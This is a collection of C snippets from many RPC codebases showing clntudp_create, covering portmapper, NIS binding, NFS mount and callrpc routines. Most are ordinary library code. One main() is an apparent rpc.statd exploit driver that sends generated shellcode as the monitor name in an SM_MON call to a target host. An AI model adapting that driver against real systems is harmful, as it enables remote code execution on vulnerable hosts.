/* * pmapper remote-call-service interface. * This routine is used to call the pmapper remote call service * which will look up a service program in the port maps, and then * remotely call that routine with the given parameters. This allows * programs to do a lookup and call in one step. */ enum clnt_stat pmap_rmtcall(struct sockaddr_in *addr, u_long prog, u_long vers, u_long proc, xdrproc_t xdrargs, caddr_t argsp, xdrproc_t xdrres, caddr_t resp, struct timeval tout, u_long *port_ptr) { int sock = -1; CLIENT *client; struct rmtcallargs a; struct rmtcallres r; enum clnt_stat stat; addr->sin_port = htons(PMAPPORT); client = clntudp_create(addr, PMAPPROG, PMAPVERS, timeout, &sock); if (client != NULL) { a.prog = prog; a.vers = vers; a.proc = proc; a.args_ptr = argsp; a.xdr_args = xdrargs; r.port_ptr = port_ptr; r.results_ptr = resp; r.xdr_results = xdrres; stat = CLNT_CALL(client, PMAPPROC_CALLIT, xdr_rmtcall_args, &a, xdr_rmtcallres, &r, tout); CLNT_DESTROY(client); } else { stat = RPC_FAILED; } if (sock != -1) (void)close(sock); addr->sin_port = 0; return (stat); }
static int callaurpc(char *host, int prognum, int versnum, int procnum, xdrproc_t inproc, char *in, xdrproc_t outproc, char *out) { struct sockaddr_in server_addr; enum clnt_stat clnt_stat; struct hostent *hp; struct timeval timeout, tottimeout; CLIENT *client = NULL; int sock = RPC_ANYSOCK; if ((hp = gethostbyname(host)) == NULL) return ((int) RPC_UNKNOWNHOST); timeout.tv_usec = 0; timeout.tv_sec = 6; bcopy(hp->h_addr, &server_addr.sin_addr, MIN(hp->h_length,(int)sizeof(server_addr.sin_addr))); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; if ((client = clntudp_create(&server_addr, prognum, versnum, timeout, &sock)) == NULL) return ((int) rpc_createerr.cf_stat); client->cl_auth = authunix_create_default(); tottimeout.tv_sec = 25; tottimeout.tv_usec = 0; clnt_stat = clnt_call(client, procnum, inproc, in, outproc, out, tottimeout); return ((int) clnt_stat); }
int my_getport(struct in_addr server, struct timeval *timeo, ...) { struct sockaddr_in sin; struct pmap pmap; CLIENT *clnt; int sock = RPC_ANYSOCK, port; pmap.pm_prog = prog; pmap.pm_vers = vers; pmap.pm_prot = prot; pmap.pm_port = 0; sin.sin_family = AF_INET; sin.sin_addr = server; sin.sin_port = htons(111); clnt = clntudp_create(&sin, 100000, 2, *timeo, &sock); status = clnt_call(clnt, PMAP_GETPORT, &pmap, (xdrproc_t) xdr_pmap, &port, (xdrproc_t) xdr_uint); if (status != SUCCESS) { /* natter */ port = 0; } clnt_destroy(clnt); close(sock); return port; }
/* * Ping the portmapper on a remote system by calling the nullproc */ enum clnt_stat pmap_ping(struct sockaddr_in *address) { CLIENT *client; enum clnt_stat clnt_stat = RPC_TIMEDOUT; /* assume failure */ int socket = RPC_ANYSOCK; struct timeval timeout; timeout.tv_sec = 3; timeout.tv_usec = 0; address->sin_port = htons(PMAPPORT); client = clntudp_create(address, PMAPPROG, PMAPVERS, timeout, &socket); if (client != (CLIENT *) NULL) { clnt_stat = clnt_call(client, PMAPPROC_NULL, (XDRPROC_T_TYPE) xdr_void, NULL, (XDRPROC_T_TYPE) xdr_void, NULL, timeout); clnt_destroy(client); } close(socket); address->sin_port = 0; return clnt_stat; }
/* returns NULL on error or no exports available */ exports get_export_list(char *hostname) { struct hostent *hp; struct sockaddr_in server_addr; int msock; CLIENT *mclient; exports exportlist; enum clnt_stat clnt_stat; struct timeval total_timeout; struct timeval pertry_timeout; /* get the servers address info all squared away */ if (inet_aton(hostname, (struct in_addr *) &server_addr.sin_addr.s_addr)) { server_addr.sin_family = AF_INET; } else { if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "%s: can't get address for %s\n", program_name, hostname); return (NULL); } server_addr.sin_family = AF_INET; memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } /* create a client object. * first try a UDP client. if not * possible, then fall back to * using UDP*/ server_addr.sin_port = 0; msock = RPC_ANYSOCK; if ((mclient = clnttcp_create(&server_addr, MOUNTPROG, MOUNTVERS, &msock, 0, 0)) == NULL) { server_addr.sin_port = 0; msock = RPC_ANYSOCK; pertry_timeout.tv_sec = 3; pertry_timeout.tv_usec = 0; if ((mclient = clntudp_create(&server_addr, MOUNTPROG, MOUNTVERS, pertry_timeout, &msock)) == NULL) { clnt_pcreateerror("mount clntudp_create"); return (NULL); } } mclient->cl_auth = authunix_create_default(); total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; /* Ok, get a list of exports from the server */ memset(&exportlist, '\0', sizeof(exportlist)); clnt_stat = clnt_call(mclient, MOUNTPROC_EXPORT, (xdrproc_t) xdr_void, NULL, (xdrproc_t) xdr_exports, (caddr_t) & exportlist, total_timeout); if (clnt_stat != RPC_SUCCESS) { clnt_perror(mclient, "rpc mount export"); return (NULL); } return (exportlist); }
/* * Create an rpc client attached to the mount daemon. */ CLIENT * get_mount_client(char *unused_host, struct sockaddr_in *sin, struct timeval *tv, int *sock, u_long mnt_version) { CLIENT *client; /* * First try a TCP socket */ if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) > 0) { /* * Bind to a privileged port */ if (bind_resv_port(*sock, (u_short *) NULL) < 0) plog(XLOG_ERROR, "can't bind privileged port (socket)"); /* * Find mountd port to connect to. * Connect to mountd. * Create a tcp client. */ if ((sin->sin_port = htons(pmap_getport(sin, MOUNTPROG, mnt_version, IPPROTO_TCP))) != 0) { if (connect(*sock, (struct sockaddr *) sin, sizeof(*sin)) >= 0 && ((client = clnttcp_create(sin, MOUNTPROG, mnt_version, sock, 0, 0)) != NULL)) return client; } /* * Failed so close socket */ (void) close(*sock); } /* tcp socket opened */ /* TCP failed so try UDP */ if ((*sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { plog(XLOG_ERROR, "Can't create socket to connect to mountd: %m"); *sock = RPC_ANYSOCK; return NULL; } /* * Bind to a privileged port */ if (bind_resv_port(*sock, (u_short *) NULL) < 0) plog(XLOG_ERROR, "can't bind privileged port"); /* * Zero out the port - make sure we recompute */ sin->sin_port = 0; /* * Make a UDP client */ if ((client = clntudp_create(sin, MOUNTPROG, mnt_version, *tv, sock)) == NULL) { (void) close(*sock); *sock = RPC_ANYSOCK; return NULL; } dlog("get_mount_client: Using udp, port %d", sin->sin_port); return client; }
int main(int argn, char *argc[]) { //Program parameters : argc[1] : HostName or Host IP // argc[2] : Server Program Number // argc[3] : Number of testes function calls // other arguments depend on test case //run_mode can switch into stand alone program or program launch by shell script //1 : stand alone, debug mode, more screen information //0 : launch by shell script as test case, only one printf -> result status int run_mode = 0; int test_status = 1; //Default test result set to FAILED int progNum = atoi(argc[2]); CLIENT *clnt = NULL; struct sockaddr_in server_addr; struct hostent *hp = NULL; struct timeval pertry_timeout; int sock = RPC_ANYSOCK; int nbCall = atoi(argc[3]); int nbOk = 0; int i; //Test initialization if ((hp = gethostbyname(argc[1])) == NULL) { fprintf(stderr, "can't get addr for %s\n", argc[1]); exit(-1); } pertry_timeout.tv_sec = 1; pertry_timeout.tv_usec = 0; bcopy(hp->h_addr, (caddr_t) & server_addr.sin_addr, hp->h_length); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; //First of all, create a client for (i = 0; i < nbCall; i++) { clnt = clntudp_create(&server_addr, progNum, VERSNUM, pertry_timeout, &sock); if ((CLIENT *) clnt != NULL) nbOk++; } //If we are here, macro call was successful if (run_mode == 1) { printf("Aimed : %d\n", nbCall); printf("Got : %d\n", nbOk); } test_status = (nbOk == nbCall) ? 0 : 1; //This last printf gives the result status to the tests suite //normally should be 0: test has passed or 1: test has failed printf("%d\n", test_status); return test_status; }
/* * Generic client creation: takes (hostname, program-number, protocol) and * returns client handle. Default options are set, which the user can * change using the rpc equivalent of ioctl()'s. */ CLIENT * clnt_create(char *hostname, u_long prog, u_long vers, char *proto) { struct hostent *h; struct protoent *p; struct sockaddr_in sin; int sock; struct timeval tv; CLIENT *client; h = gethostbyname(hostname); if (h == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNHOST; return (NULL); } if (h->h_addrtype != AF_INET) { /* * Only support INET for now */ rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EAFNOSUPPORT; return (NULL); } memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(struct sockaddr_in); sin.sin_family = h->h_addrtype; sin.sin_port = 0; memcpy((char*)&sin.sin_addr, h->h_addr, h->h_length); p = getprotobyname(proto); if (p == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNPROTO; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } sock = RPC_ANYSOCK; switch (p->p_proto) { case IPPROTO_UDP: tv.tv_sec = 5; tv.tv_usec = 0; client = clntudp_create(&sin, prog, vers, tv, &sock); if (client == NULL) { return (NULL); } break; case IPPROTO_TCP: client = clnttcp_create(&sin, prog, vers, &sock, 0, 0); if (client == NULL) { return (NULL); } break; default: rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } return (client); }
static CLIENT * mkclient(struct sockaddr_in *sin, unsigned long prog, unsigned long vers, int tcp) { static struct timeval tv = { 10, 0 }; int fd = RPC_ANYSOCK; if (tcp) return clnttcp_create(sin, prog, vers, &fd, 0, 0); else return clntudp_create(sin, prog, vers, tv, &fd); }
static int bind_tohost(struct sockaddr_in *sin, char *dom, char *server) { struct ypbind_setdom ypsd; struct in_addr iaddr; struct hostent *hp; struct timeval tv; CLIENT *client; int sock, port, r; port = getrpcport(server, YPPROG, YPPROC_NULL, IPPROTO_UDP); if (port == 0) errx(1, "%s not running ypserv", server); port = htons(port); memset(&ypsd, 0, sizeof ypsd); if (inet_aton(server, &iaddr) == 0) { hp = gethostbyname(server); if (hp == NULL) errx(1, "can't find address for %s", server); memmove(&iaddr.s_addr, hp->h_addr, sizeof(iaddr.s_addr)); } ypsd.ypsetdom_domain = dom; bcopy(&iaddr.s_addr, &ypsd.ypsetdom_binding.ypbind_binding_addr, sizeof(ypsd.ypsetdom_binding.ypbind_binding_addr)); bcopy(&port, &ypsd.ypsetdom_binding.ypbind_binding_port, sizeof(ypsd.ypsetdom_binding.ypbind_binding_port)); ypsd.ypsetdom_vers = YPVERS; tv.tv_sec = 15; tv.tv_usec = 0; sock = RPC_ANYSOCK; client = clntudp_create(sin, YPBINDPROG, YPBINDVERS, tv, &sock); if (client == NULL) { warnx("can't yp_bind: reason: %s", yperr_string(YPERR_YPBIND)); return YPERR_YPBIND; } client->cl_auth = authunix_create_default(); r = clnt_call(client, YPBINDPROC_SETDOM, xdr_ypbind_setdom, &ypsd, xdr_void, NULL, tv); if (r) { warnx("Cannot ypset for domain %s on host %s: %s", dom, server, clnt_sperrno(r)); clnt_destroy(client); return YPERR_YPBIND; } clnt_destroy(client); return 0; }
CLIENT * yp_bind_host(char *server, u_long program, u_long version, u_short port, int usetcp) { struct sockaddr_in rsrv_sin; static CLIENT *client; struct hostent *h; struct timeval tv; int rsrv_sock; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sock = RPC_ANYSOCK; if (port != 0) rsrv_sin.sin_port = htons(port); if (*server >= '0' && *server <= '9') { if (inet_aton(server, &rsrv_sin.sin_addr) == 0) { fprintf(stderr, "inet_aton: invalid address %s.\n", server); exit(1); } } else { h = gethostbyname(server); if (h == NULL) { fprintf(stderr, "gethostbyname: unknown host %s.\n", server); exit(1); } rsrv_sin.sin_addr.s_addr = *(u_int32_t *)h->h_addr; } tv.tv_sec = 10; tv.tv_usec = 0; if (usetcp) client = clnttcp_create(&rsrv_sin, program, version, &rsrv_sock, 0, 0); else client = clntudp_create(&rsrv_sin, program, version, tv, &rsrv_sock); if (client == NULL) { fprintf(stderr, "clntudp_create: no contact with host %s.\n", server); exit(1); } return(client); }
/* * Generic client creation: takes (hostname, program-number, protocol) and * returns client handle. Default options are set, which the user can * change using the rpc equivalent of ioctl()'s. */ CLIENT *clnt_create (const char *hostname, const unsigned long prog, const unsigned long vers, const char *proto) { int sock; struct hostent *h; struct sockaddr_in sin; struct timeval tv; CLIENT *client; h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "rpc : unknown host\n"); return (NULL); } if (h->h_addrtype != AF_INET) { fprintf(stderr, "rpc : unknow inet\n"); return (NULL); } memset((char*)&sin,0,sizeof(sin)); sin.sin_family = h->h_addrtype; sin.sin_port = 0; memmove((char *) &sin.sin_addr, h->h_addr, h->h_length); sock = -1; if (strcmp(proto, "udp") == 0) { tv.tv_sec = 5; tv.tv_usec = 0; client = clntudp_create(&sin, prog, vers, tv, &sock); if (client == NULL) return NULL; clnt_control(client, CLSET_TIMEOUT, (char*)&tv); } else if (strcmp(proto, "tcp") == 0) { client = clnttcp_create(&sin, prog, vers, &sock, TCPMSGSIZE, TCPMSGSIZE); /* sylixos and TCPMSGSIZE */ if (client == NULL) { return (NULL); } tv.tv_sec = 25; tv.tv_usec = 0; clnt_control(client, CLSET_TIMEOUT, &tv); } else { fprintf(stderr, "rpc : unknow protocol\n"); return NULL; } return (client); }
/* * The routine transform_dir(path) transforms pathnames of directories * mounted with the amd automounter to produce a more "natural" version. * The automount table is obtained from the local amd via the rpc interface * and reverse lookups are repeatedly performed on the directory name * substituting the name of the automount link for the value of the link * whenever it occurs as a prefix of the directory name. */ static char * transform_dir(char *dir) { #ifdef DISK_HOME_HACK char *ch; #endif /* DISK_HOME_HACK */ char *server; struct sockaddr_in server_addr; int s = RPC_ANYSOCK; CLIENT *clnt; struct hostent *hp; struct timeval tmo = {10, 0}; char *dummystr; amq_string *spp; #ifdef DISK_HOME_HACK if (ch = hack_name(dir)) return ch; #endif /* DISK_HOME_HACK */ #ifdef HAVE_CNODEID server = cluster_server(); #else /* not HAVE_CNODEID */ server = localhost; #endif /* not HAVE_CNODEID */ if ((hp = gethostbyname(server)) == NULL) return dir; memset(&server_addr, 0, sizeof(server_addr)); /* as per POSIX, sin_len need not be set (used internally by kernel) */ server_addr.sin_family = AF_INET; server_addr.sin_addr = *(struct in_addr *) hp->h_addr; clnt = clntudp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, tmo, &s); if (clnt == NULL) clnt = clnttcp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, &s, 0, 0); if (clnt == NULL) return dir; xstrlcpy(transform, dir, sizeof(transform)); dummystr = transform; spp = amqproc_pawd_1((amq_string *) &dummystr, clnt); if (spp && *spp && **spp) { xstrlcpy(transform, *spp, sizeof(transform)); XFREE(*spp); } clnt_destroy(clnt); return transform; }
/* * Like yp_bind except can query a specific host */ static int bind_host(char *dom, struct sockaddr_in *lsin) { struct hostent *hent = NULL; struct ypbind_resp ypbr; struct timeval tv; CLIENT *client; int sock, r; struct in_addr ss_addr; sock = RPC_ANYSOCK; tv.tv_sec = 15; tv.tv_usec = 0; client = clntudp_create(lsin, YPBINDPROG, YPBINDVERS, tv, &sock); if (client == NULL) { warnx("can't clntudp_create: %s", yperr_string(YPERR_YPBIND)); return (YPERR_YPBIND); } tv.tv_sec = 5; tv.tv_usec = 0; r = clnt_call(client, YPBINDPROC_DOMAIN, (xdrproc_t)xdr_domainname, &dom, (xdrproc_t)xdr_ypbind_resp, &ypbr, tv); if (r != RPC_SUCCESS) { warnx("can't clnt_call: %s", yperr_string(YPERR_YPBIND)); clnt_destroy(client); return (YPERR_YPBIND); } else { if (ypbr.ypbind_status != YPBIND_SUCC_VAL) { warnx("can't yp_bind: reason: %s", ypbinderr_string(ypbr.ypbind_respbody.ypbind_error)); clnt_destroy(client); return (r); } } clnt_destroy(client); ss_addr = ypbr.ypbind_respbody.ypbind_bindinfo.ypbind_binding_addr; /*printf("%08x\n", ss_addr);*/ hent = gethostbyaddr((char *)&ss_addr, sizeof(ss_addr), AF_INET); if (hent) printf("%s\n", hent->h_name); else printf("%s\n", inet_ntoa(ss_addr)); return (0); }
main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i; if (argc < 4) usage(argv[0]); make_shellcode(argv[2], argv[3]); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name ="localhost"; monreq.mon_id.my_id.my_prog = 0; monreq.mon_id.my_id.my_vers = 0; monreq.mon_id.my_id.my_proc = 0; monreq.mon_id.mon_name = shellcode; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd = RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); }
CLIENT * yp_bind_host(char *server, u_int program, u_int version, u_short port, int usetcp) { struct sockaddr_in rsrv_sin; int rsrv_sock; struct hostent *h; static CLIENT *client; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sock = RPC_ANYSOCK; if (port != 0) { rsrv_sin.sin_port = htons(port); } if (isdigit((unsigned char)*server)) { if (inet_aton(server,&rsrv_sin.sin_addr) == 0) { errx(1, "invalid IP address `%s'", server); } } else { h = gethostbyname(server); if(h == NULL) { errx(1, "unknown host `%s'", server); } memcpy(&rsrv_sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length); } if (usetcp) client = clnttcp_create(&rsrv_sin, program, version, &rsrv_sock, 0, 0); else client = clntudp_create(&rsrv_sin, program, version, _yplib_host_timeout, &rsrv_sock); if (client == NULL) errx(1, "%s: no contact with host `%s'", usetcp ? "clnttcp_create" : "clntudp_create", server); return(client); }
CLIENT * yp_bind_local(u_int program, u_int version) { struct sockaddr_in rsrv_sin; int rsrv_sock; static CLIENT *client; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); rsrv_sock = RPC_ANYSOCK; client = clntudp_create(&rsrv_sin, program, version, _yplib_host_timeout, &rsrv_sock); if (client == NULL) errx(1, "clntudp_create: no contact with localhost"); return(client); }
static void ypxfr_exit(ypxfrstat retval, char *temp) { CLIENT *clnt; int sock = RPC_ANYSOCK; struct timeval timeout; /* Clean up no matter what happened previously. */ if (temp != NULL) { if (dbp != NULL) (void)(dbp->close)(dbp); if (unlink(temp) == -1) { yp_error("failed to unlink %s",strerror(errno)); } } if (ypxfr_prognum) { timeout.tv_sec = 20; timeout.tv_usec = 0; if ((clnt = clntudp_create(&ypxfr_callback_addr, ypxfr_prognum, 1, timeout, &sock)) == NULL) { yp_error("%s", clnt_spcreateerror("failed to " "establish callback handle")); exit(1); } ypxfr_resp.status = (yppush_status)retval; if (yppushproc_xfrresp_1(&ypxfr_resp, clnt) == NULL) { yp_error("%s", clnt_sperror(clnt, "callback failed")); clnt_destroy(clnt); exit(1); } clnt_destroy(clnt); } else { yp_error("Exiting: %s", ypxfrerr_string(retval)); } exit(0); }
/* * Check if the portmapper is running and reachable: 0==down, 1==up */ int check_pmap_up(char *host, struct sockaddr_in* sin) { CLIENT *client; enum clnt_stat clnt_stat = RPC_TIMEDOUT; /* assume failure */ int socket = RPC_ANYSOCK; struct timeval timeout; timeout.tv_sec = 2; timeout.tv_usec = 0; sin->sin_port = htons(PMAPPORT); client = clntudp_create(sin, PMAPPROG, PMAPVERS, timeout, &socket); if (client == (CLIENT *) NULL) { plog(XLOG_ERROR, "check_pmap_up: cannot create connection to contact portmapper on host \"%s\"%s", host, clnt_spcreateerror("")); return 0; } timeout.tv_sec = 6; /* Ping the portmapper on a remote system by calling the nullproc */ clnt_stat = clnt_call(client, PMAPPROC_NULL, (XDRPROC_T_TYPE) xdr_void, NULL, (XDRPROC_T_TYPE) xdr_void, NULL, timeout); clnt_destroy(client); close(socket); sin->sin_port = 0; if (clnt_stat == RPC_TIMEDOUT) { plog(XLOG_ERROR, "check_pmap_up: failed to contact portmapper on host \"%s\": %s", host, clnt_sperrno(clnt_stat)); return 0; } return 1; }
/* * pmapper remote-call-service interface. * This routine is used to call the pmapper remote call service * which will look up a service program in the port maps, and then * remotely call that routine with the given parameters. This allows * programs to do a lookup and call in one step. */ enum clnt_stat pmap_rmtcall( struct sockaddr_in *addr, rpcprog_t prog, rpcvers_t vers, rpcproc_t proc, xdrproc_t xdrargs, caddr_t argsp, xdrproc_t xdrres, caddr_t resp, struct timeval tout, rpcport_t *port_ptr) { SOCKET sock = INVALID_SOCKET; CLIENT *client; struct rmtcallargs a; struct rmtcallres r; enum clnt_stat stat; addr->sin_port = htons(PMAPPORT); client = clntudp_create(addr, PMAPPROG, PMAPVERS, timeout, &sock); if (client != (CLIENT *)NULL) { a.prog = prog; a.vers = vers; a.proc = proc; a.args_ptr = argsp; a.xdr_args = xdrargs; r.port_ptr = port_ptr; r.results_ptr = resp; r.xdr_results = xdrres; stat = CLNT_CALL(client, PMAPPROC_CALLIT, xdr_rmtcall_args, &a, xdr_rmtcallres, &r, tout); CLNT_DESTROY(client); } else { stat = RPC_FAILED; } (void)closesocket(sock); addr->sin_port = 0; return (stat); }
CLIENT * yp_bind_local(u_long program, u_long version) { struct sockaddr_in rsrv_sin; static CLIENT *client; struct timeval tv; int rsrv_sock; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); rsrv_sock = RPC_ANYSOCK; tv.tv_sec = 10; tv.tv_usec = 0; client = clntudp_create(&rsrv_sin, program, version, tv, &rsrv_sock); if (client == NULL) { errx(1, "clntudp_create: no contact with localhost."); } return (client); }
struct client * clnt_create(const char *host, __u32 prognum, __u32 versnum, const char *prot) { struct sockaddr_in raddr; struct timeval tv; int sock; sock = RPC_ANYSOCK; raddr.sin_family = AF_INET; inet_aton(host, &raddr.sin_addr); raddr.sin_port = 0; if (strcmp(prot, "udp") == 0) { tv.tv_sec = 5; tv.tv_usec = 0; return clntudp_create(&raddr, prognum, versnum, tv, &sock); } else if (strcmp(prot, "tcp") == 0) { return clnttcp_create(&raddr, prognum, versnum, &sock, 0, 0); } rpc_create_error.stat = RPC_UNKNOWNPROTO; rpc_create_error.err.extra.error = EPFNOSUPPORT; return NULL; /* protocol not supported */ }
/* returns an initialised client, or NULL on error */ CLIENT *create_rpc_client(struct sockaddr_in *client_sock, struct addrinfo *hints, unsigned long prognum, unsigned long version, struct timeval timeout, struct sockaddr_in src_ip) { CLIENT *client = NULL; int sock; long unsigned protocol; /* for portmapper */ char src[INET_ADDRSTRLEN]; char dst[INET_ADDRSTRLEN]; struct sockaddr_in getaddr; /* for getsockname */ socklen_t len = sizeof(getaddr); /* Even if you specify a source address the portmapper will use the default one */ /* this applies to pmap_getport or clnt*_create */ /* so use our own get_rpc_port */ /* check if we need to use the portmapper, 0 = yes */ if (client_sock->sin_port == 0) { client_sock->sin_port = htons(PMAPPORT); /* 111 */ sock = socket(AF_INET, hints->ai_socktype, 0); if (sock < 0) { perror("create_rpc_client(socket)"); return NULL; } /* set the source address if specified */ if (src_ip.sin_addr.s_addr) { /* portmapper doesn't need a reserved port */ src_ip.sin_port = 0; if (bind(sock, (struct sockaddr *) &src_ip, sizeof(src_ip)) == -1) { perror("create_rpc_client(bind)"); return NULL; } } if (connect(sock, (struct sockaddr *)client_sock, sizeof(struct sockaddr)) == 0) { /* TCP */ if (hints->ai_socktype == SOCK_STREAM) { protocol = PMAP_IPPROTO_TCP; client = clnttcp_create(client_sock, PMAPPROG, PMAPVERS, &sock, 0, 0); if (client == NULL) { clnt_pcreateerror("clnttcp_create"); } /* UDP */ } else { protocol = PMAP_IPPROTO_UDP; client = clntudp_create(client_sock, PMAPPROG, PMAPVERS, timeout, &sock); if (client == NULL) { clnt_pcreateerror("clntudp_create"); } } } else { perror("create_rpc_client(connect)"); return NULL; } if (verbose) { if (getsockname(sock, (struct sockaddr *)&getaddr, &len) == -1) { perror("create_rpc_client(getsockname)"); /* this is just verbose output so don't return an error */ } else { inet_ntop(AF_INET, (struct sockaddr_in *)&getaddr.sin_addr, src, INET_ADDRSTRLEN); //inet_ntop(AF_INET, &(((struct sockaddr_in *)&client_sock)->sin_addr), dst, INET_ADDRSTRLEN); inet_ntop(AF_INET, &(client_sock->sin_addr), dst, INET_ADDRSTRLEN); debug("portmap request = %s:%u -> %s:%u\n", src, ntohs(getaddr.sin_port), dst, ntohs(client_sock->sin_port)); } } /* query the portmapper */ client_sock->sin_port = get_rpc_port(client, prognum, version, protocol); /* close the portmapper connection */ client = destroy_rpc_client(client); /* by this point we should know which port we're talking to */ debug("portmapper = %s:%u\n", dst, ntohs(client_sock->sin_port)); } /* now make the client connection */ /* by now we should have a port defined unless the program isn't registered */ if (client_sock->sin_port) { /* Make sure and make new sockets for each new connection */ /* clnttcp_create will happily reuse open sockets */ sock = socket(AF_INET, hints->ai_socktype, 0); if (sock < 0) { perror("create_rpc_client(socket)"); return NULL; } /* always try and bind to a low port first */ /* could check for root here but there are other mechanisms for allowing processes to bind to low ports */ if (bindresvport(sock, &src_ip) == -1) { /* permission denied, ie we aren't root */ if (errno == EACCES) { /* try an ephemeral port */ src_ip.sin_port = htons(0); } else { perror("create_rpc_client(bindresvport)"); return NULL; } } /* now we're bound to a local socket, try and connect to the server */ if (connect(sock, (struct sockaddr *)client_sock, sizeof(struct sockaddr)) == 0) { /* TCP */ if (hints->ai_socktype == SOCK_STREAM) { /* TODO set recvsz and sendsz to the NFS blocksize */ client = clnttcp_create(client_sock, prognum, version, &sock, 0, 0); if (client == NULL) { clnt_pcreateerror("clnttcp_create"); } /* UDP */ } else { client = clntudp_create(client_sock, prognum, version, timeout, &sock); if (client == NULL) { clnt_pcreateerror("clntudp_create"); } } } else { perror("create_rpc_client(connect)"); return NULL; } if (verbose) { if (getsockname(sock, (struct sockaddr *)&getaddr, &len) == -1) { perror("create_rpc_client(getsockname)"); /* this is just verbose output so don't return an error */ } else { inet_ntop(AF_INET, (struct sockaddr_in *)&getaddr.sin_addr, src, INET_ADDRSTRLEN); inet_ntop(AF_INET, &(client_sock->sin_addr), dst, INET_ADDRSTRLEN); debug("Connected = %s:%u -> %s:%u\n", src, ntohs(getaddr.sin_port), dst, ntohs(client_sock->sin_port)); } } } if (client) { /* TODO check return values */ /* use AUTH_NONE authentication by default */ client->cl_auth = authnone_create(); /* set the RPC timeout */ clnt_control(client, CLSET_TIMEOUT, (char *)&timeout); /* set the socket to close when the client is destroyed */ clnt_control(client, CLSET_FD_CLOSE, NULL); } return client; }
int callrpc (const char *host, u_long prognum, u_long versnum, u_long procnum, xdrproc_t inproc, const char *in, xdrproc_t outproc, char *out) { struct callrpc_private_s *crp = callrpc_private; struct sockaddr_in server_addr; enum clnt_stat clnt_stat; struct hostent hostbuf, *hp; struct timeval timeout, tottimeout; if (crp == 0) { crp = (struct callrpc_private_s *) calloc (1, sizeof (*crp)); if (crp == 0) return 0; callrpc_private = crp; } if (crp->oldhost == NULL) { crp->oldhost = malloc (256); crp->oldhost[0] = 0; crp->socket = RPC_ANYSOCK; } if (crp->valid && crp->oldprognum == prognum && crp->oldversnum == versnum && strcmp (crp->oldhost, host) == 0) { /* reuse old client */ } else { size_t buflen; char *buffer; int herr; crp->valid = 0; if (crp->socket != RPC_ANYSOCK) { (void) close (crp->socket); crp->socket = RPC_ANYSOCK; } if (crp->client) { clnt_destroy (crp->client); crp->client = NULL; } buflen = 1024; buffer = alloca (buflen); while (gethostbyname_r (host, &hostbuf, buffer, buflen, &hp, &herr) != 0 || hp == NULL) if (herr != NETDB_INTERNAL || errno != ERANGE) return (int) RPC_UNKNOWNHOST; else { /* Enlarge the buffer. */ buflen *= 2; buffer = alloca (buflen); } timeout.tv_usec = 0; timeout.tv_sec = 5; memcpy ((char *) &server_addr.sin_addr, hp->h_addr, hp->h_length); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; if ((crp->client = clntudp_create (&server_addr, (u_long) prognum, (u_long) versnum, timeout, &crp->socket)) == NULL) return (int) get_rpc_createerr().cf_stat; crp->valid = 1; crp->oldprognum = prognum; crp->oldversnum = versnum; (void) strncpy (crp->oldhost, host, 255); crp->oldhost[255] = '\0'; } tottimeout.tv_sec = 25; tottimeout.tv_usec = 0; clnt_stat = clnt_call (crp->client, procnum, inproc, (char *) in, outproc, out, tottimeout); /* * if call failed, empty cache */ if (clnt_stat != RPC_SUCCESS) crp->valid = 0; return (int) clnt_stat; }
